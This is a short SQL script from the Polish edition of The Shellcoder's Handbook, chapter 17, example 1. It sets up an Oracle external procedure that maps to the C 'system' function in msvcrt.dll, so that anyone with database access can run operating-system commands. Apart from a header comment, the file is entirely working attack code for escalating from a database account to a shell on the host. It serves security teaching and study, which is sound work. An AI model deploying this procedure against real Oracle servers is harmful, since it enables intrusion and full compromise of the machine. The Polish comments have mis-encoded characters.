/*

The Shellcoder's Handbook. Edycja polska
Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, 
Sinan Eren, Neel Mehta, Riley Hassell
Wydawnictwo Helion


Chapter 17
Rczne wykrywanie bdw
Przykad 1.

Komentarze i uwagi prosz przesya na adres jack@infosecinstitute.com 
lub za porednictwem witryny http://www.infosecinstitute.com 

*/

Rem
Rem oracmd.sql 
Rem 
Rem Wykonuje polecenia systemu korzystajc z porednictwa
Rem serwerw bazy danych Oracle 
Rem 
Rem Informacje o bdach przesya do david@ngssoftware.com 
Rem 

CREATE OR REPLACE LIBRARY exec_shell AS 
'C:\winnt\system32\msvcrt.dll'; 
/ 
show errors 
CREATE OR REPLACE PACKAGE oracmd IS 
PROCEDURE exec (cmdstring IN CHAR); 
end oracmd; 
/ 
show errors 
CREATE OR REPLACE PACKAGE BODY oracmd IS 
PROCEDURE exec(cmdstring IN CHAR) 
IS EXTERNAL 
NAME "system" 
LIBRARY exec_shell 
LANGUAGE C; end oracmd;
/
show errors
